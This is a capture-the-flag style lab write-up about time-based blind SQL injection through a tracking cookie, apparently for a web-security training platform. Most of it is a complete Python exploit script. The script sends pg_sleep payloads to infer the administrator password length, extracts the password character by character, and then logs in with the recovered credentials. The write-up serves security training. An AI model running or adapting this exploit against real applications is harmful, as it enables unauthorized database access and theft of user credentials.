SQLi Lab 15
Blind SQL injection for administrator password extraction using time-based techniques
Blind SQL injection with time delays and information retrieval#
This lab demonstrates blind SQL injection where the application does not return query results or show errors. The vulnerability exists in a tracking cookie used for analytics. By injecting SQL that triggers time delays (via pg_sleep), it is possible to infer information about the database, such as the existence of a user and the length and value of their password.
How Exploit Works#
- The
TrackingIdcookie is vulnerable to blind SQL injection. - Inject time-delay queries to verify boolean conditions.
- Determine the existence of the administrator user.
- Identify the length of the administrator password using incremental time-delay tests.
- Extract the password character by character using
SUBSTRING()and time delays. - Use Burp Intruder for efficient character extraction.
- Log in with the recovered credentials to solve the lab.
Usage#
python3 exploit.py https://<your-lab-id>.web-security-academy.netcmdExploit#
exploit.py
import requests
import sys
import urllib3
import time
from bs4 import BeautifulSoup
# Disable SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# Optional: Route through Burp
proxies = {"http": "http://127.0.0.1:8080",
"https": "http://127.0.0.1:8080"}
# Charset for brute force (lowercase + digits)
CHARSET = "abcdefghijklmnopqrstuvwxyz0123456789"
def send_payload(url, tracking_id, session_cookie, payload, delay=5):
"""Send request with injected payload, return True if delay detected."""
cookies = {
"TrackingId": tracking_id + payload,
"session": session_cookie
}
start = time.time()
try:
requests.get(url, cookies=cookies, verify=False, proxies=proxies, timeout=delay+2)
except requests.exceptions.ReadTimeout:
# If timeout occurs, it's probably due to pg_sleep
return True
elapsed = time.time() - start
return elapsed >= delay
def get_password_length(url, tracking_id, session_cookie, max_len=30):
"""Determine password length by testing increasing values."""
print("[*] Determining password length...")
for length in range(1, max_len+1):
payload = (
f"'||(SELECT CASE WHEN (username='administrator' AND LENGTH(password)>{length}) "
f"THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users)--"
)
if not send_payload(url, tracking_id, session_cookie, payload):
print(f"[+] Password length found: {length}")
return length
print("[-] Failed to determine password length")
sys.exit(1)
def extract_password(url, tracking_id, session_cookie, length):
"""Extract administrator password character by character."""
print("[*] Extracting administrator password...")
password = ""
for i in range(1, length + 1):
for c in CHARSET:
payload = (
f"'||(SELECT CASE WHEN (username='administrator' "
f"AND SUBSTRING(password,{i},1)='{c}') "
f"THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users)--"
)
if send_payload(url, tracking_id, session_cookie, payload):
password += c
print(f"[+] Found char {i}: {c} -> {password}")
break
return password
def login_and_check(url, username, password):
"""Login with stolen creds and check if lab is solved."""
session = requests.Session()
login_url = url.rstrip("/") + "/login"
# Step 1: Fetch CSRF token
res = session.get(login_url, verify=False, proxies=proxies)
soup = BeautifulSoup(res.text, "html.parser")
csrf_token = soup.find("input", {"name": "csrf"})["value"]
# Step 2: Submit login
data = {"csrf": csrf_token, "username": username, "password": password}
res = session.post(login_url, data=data, verify=False, proxies=proxies)
if "Log out" in res.text:
print(f"[+] Logged in as {username}. Checking if lab is solved...")
base_res = session.get(url, verify=False, proxies=proxies)
if "Congratulations" in base_res.text:
print("[+] Lab solved! 🎉")
return True
else:
print("[-] Logged in, but lab not solved yet.")
else:
print("[-] Login failed.")
return False
def main():
if len(sys.argv) != 2:
print(f"Usage: python {sys.argv[0]} <url>")
sys.exit(1)
url = sys.argv[1]
# Step 1: Grab initial cookies
r = requests.get(url, verify=False, proxies=proxies)
tracking_id = r.cookies.get("TrackingId")
session_cookie = r.cookies.get("session")
if not tracking_id or not session_cookie:
print("[-] Failed to retrieve cookies")
sys.exit(1)
print(f"[*] Using TrackingId={tracking_id}, session={session_cookie}")
# Step 2: Find password length
length = get_password_length(url, tracking_id, session_cookie)
# Step 3: Extract password
password = extract_password(url, tracking_id, session_cookie, length)
print(f"[+] Extracted password: {password}")
# Step 4: Login and check if solved
login_and_check(url, "administrator", password)
if __name__ == "__main__":
main()python